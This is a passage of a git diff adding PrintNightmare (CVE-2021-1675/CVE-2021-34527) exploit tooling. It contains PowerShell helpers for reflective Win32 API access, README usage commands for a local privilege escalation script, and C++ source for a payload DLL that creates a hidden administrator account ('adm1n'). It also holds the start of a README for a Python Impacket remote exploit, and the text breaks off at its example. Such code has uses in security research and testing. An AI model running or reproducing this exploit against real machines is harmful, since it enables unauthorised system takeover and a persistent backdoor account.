[Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + +function Add-Win32Type +{ +<# +.SYNOPSIS +Creates a .NET type for an unmanaged Win32 function. +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func +.DESCRIPTION +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. +.PARAMETER DllName +The name of the DLL. +.PARAMETER FunctionName +The name of the target function. +.PARAMETER EntryPoint +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. +.PARAMETER ReturnType +The return type of the function. +.PARAMETER ParameterTypes +The function parameters. +.PARAMETER NativeCallingConvention +Specifies the native calling convention of the function. Defaults to +stdcall. +.PARAMETER Charset +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. +.PARAMETER SetLastError +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. +.PARAMETER Module +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. +.PARAMETER Namespace +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. +.EXAMPLE +$Mod = New-InMemoryModule -ModuleName Win32 +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') +.NOTES +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum { +<# +.SYNOPSIS +Creates an in-memory enumeration for use in your PowerShell session. +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +.DESCRIPTION +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. +.PARAMETER Module +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. +.PARAMETER FullName +The fully-qualified name of the enum. +.PARAMETER Type +The type of each enum element. +.PARAMETER EnumElements +A hashtable of enum elements. +.PARAMETER Bitfield +Specifies that the enum should be treated as a bitfield. +.EXAMPLE +$Mod = New-InMemoryModule -ModuleName Win32 +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} +.NOTES +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS +Creates an in-memory struct for use in your PowerShell session. +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field +.DESCRIPTION +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. +.PARAMETER Module +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. +.PARAMETER FullName +The fully-qualified name of the struct. +.PARAMETER StructFields +A hashtable of fields. Use the 'field' helper function to ease +defining each field. +.PARAMETER PackingSize +Specifies the memory alignment of fields. +.PARAMETER ExplicitLayout +Indicates that an explicit offset for each field will be specified. +.EXAMPLE +$Mod = New-InMemoryModule -ModuleName Win32 +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout +.NOTES +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/README.md b/exploit/windows/print_nightmare/CVE-2021-1675/README.md new file mode 100644 index 0000000..a1bdddc --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/README.md @@ -0,0 +1,40 @@ +# CVE-2021-1675 - PrintNightmare LPE (PowerShell) + +> Caleb Stewart | John Hammond | July 1, 2021 + +---------------------------------------------------------- + +[CVE-2021-1675](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675) is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." + +Proof-of-concept exploits have been released ([Python](https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py), [C++](https://github.com/afwu/PrintNightmare/blob/main/EXP/POC/POC.cpp)) for the remote code execution capability, and a [C# rendition](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) for local privilege escalation. We had not seen a native implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit. + +This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique. + +![image](https://user-images.githubusercontent.com/6288722/124203761-70b36580-daab-11eb-8520-7d93743062af.png) + +This has been tested on Windows Server 2016 and Windows Server 2019. + +## Usage + +Add a new user to the local administrators group by default: + +```shell +Import-Module .\cve-2021-1675.ps1 +Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default + +Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure" +``` + +Supply a custom DLL payload, to do anything else you might like. + +```shell +Import-Module .\cve-2021-1675.ps1 +Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll" +``` + +## Details + +* The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler. +* This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group. +* This script embeds methods from PowerSploit/[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) to reflectively access the Win32 APIs. +* This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path. diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare.sln b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare.sln new file mode 100644 index 0000000..eed4db2 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.31402.337 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "nightmare", "nightmare\nightmare.vcxproj", "{BBFBAF1D-A01E-4615-A208-786147320C20}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.ActiveCfg = Debug|x64 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x64.Build.0 = Debug|x64 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.ActiveCfg = Debug|Win32 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Debug|x86.Build.0 = Debug|Win32 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.ActiveCfg = Release|x64 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x64.Build.0 = Release|x64 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.ActiveCfg = Release|Win32 + {BBFBAF1D-A01E-4615-A208-786147320C20}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {30C87B43-BD46-4499-B9D4-11823A3D67C8} + EndGlobalSection +EndGlobal diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/dllmain.cpp b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/dllmain.cpp new file mode 100644 index 0000000..abb38d9 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/dllmain.cpp @@ -0,0 +1,32 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#include "pch.h" +#include +#include +#include +#include + +#pragma comment(lib, "netapi32.lib") + +wchar_t username[256] = L"adm1n"; +wchar_t password[256] = L"P@ssw0rd"; + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + // Create the user + USER_INFO_1 user; + memset(&user, 0, sizeof(USER_INFO_1)); + user.usri1_name = username; + user.usri1_password = password; + user.usri1_priv = USER_PRIV_USER; + user.usri1_flags = UF_DONT_EXPIRE_PASSWD; + NetUserAdd(NULL, 1, (LPBYTE)&user, NULL); + + // Add the user to the administrators group + LOCALGROUP_MEMBERS_INFO_3 members; + members.lgrmi3_domainandname = username; + NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&members, 1); +} + diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/framework.h b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/framework.h new file mode 100644 index 0000000..a9744f8 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj new file mode 100644 index 0000000..a2789f0 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj @@ -0,0 +1,170 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {bbfbaf1d-a01e-4615-a208-786147320c20} + nightmare + 10.0 + + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + WIN32;NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + false + + + + + Level3 + true + true + true + NDEBUG;NIGHTMARE_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + MultiThreaded + + + Windows + true + true + true + false + + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj.filters b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj.filters new file mode 100644 index 0000000..f99bb48 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj.filters @@ -0,0 +1,33 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj.user b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj.user new file mode 100644 index 0000000..0f14913 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/nightmare.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/pch.cpp b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/pch.cpp new file mode 100644 index 0000000..91c22df --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/pch.h b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/pch.h new file mode 100644 index 0000000..04ff4c2 --- /dev/null +++ b/exploit/windows/print_nightmare/CVE-2021-1675/nightmare-dll/nightmare/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/exploit/windows/print_nightmare/PrintNightmare/LICENSE b/exploit/windows/print_nightmare/PrintNightmare/LICENSE new file mode 100644 index 0000000..192d83a --- /dev/null +++ b/exploit/windows/print_nightmare/PrintNightmare/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 ly4k + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/exploit/windows/print_nightmare/PrintNightmare/README.md b/exploit/windows/print_nightmare/PrintNightmare/README.md new file mode 100644 index 0000000..adf83ab --- /dev/null +++ b/exploit/windows/print_nightmare/PrintNightmare/README.md @@ -0,0 +1,260 @@ +# PrintNightmare + +Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527) using standard Impacket. + +## Installtion + +```bash +$ pip3 install impacket +``` + +## Usage + +``` +Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation + +usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] + [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete] + target + +PrintNightmare (CVE-2021-1675 / CVE-2021-34527) + +positional arguments: + target [[domain/]username[:password]@] + +optional arguments: + -h, --help show this help message and exit + -debug Turn DEBUG output ON + -no-pass don't ask for password (useful for -k) + -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials + cannot be found, it will use the ones specified in the command line + -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter + +connection: + -port [destination port] + Destination port to connect to MS-RPRN named pipe + -target-ip ip address + IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the + NetBIOS name and you cannot resolve it + +authentication: + -hashes LMHASH:NTHASH + NTLM hashes, format is LMHASH:NTHASH + +driver: + -name driver name Name for driver + -env driver name Environment for driver + -path driver path Driver path for driver + -dll driver dll Path to DLL + +modes: + -check Check if target is vulnerable + -list List existing printer drivers + -delete Deletes printer driver +``` + +### Examples + +#### Exploitation + +##### Remote DLL +```bash +$ 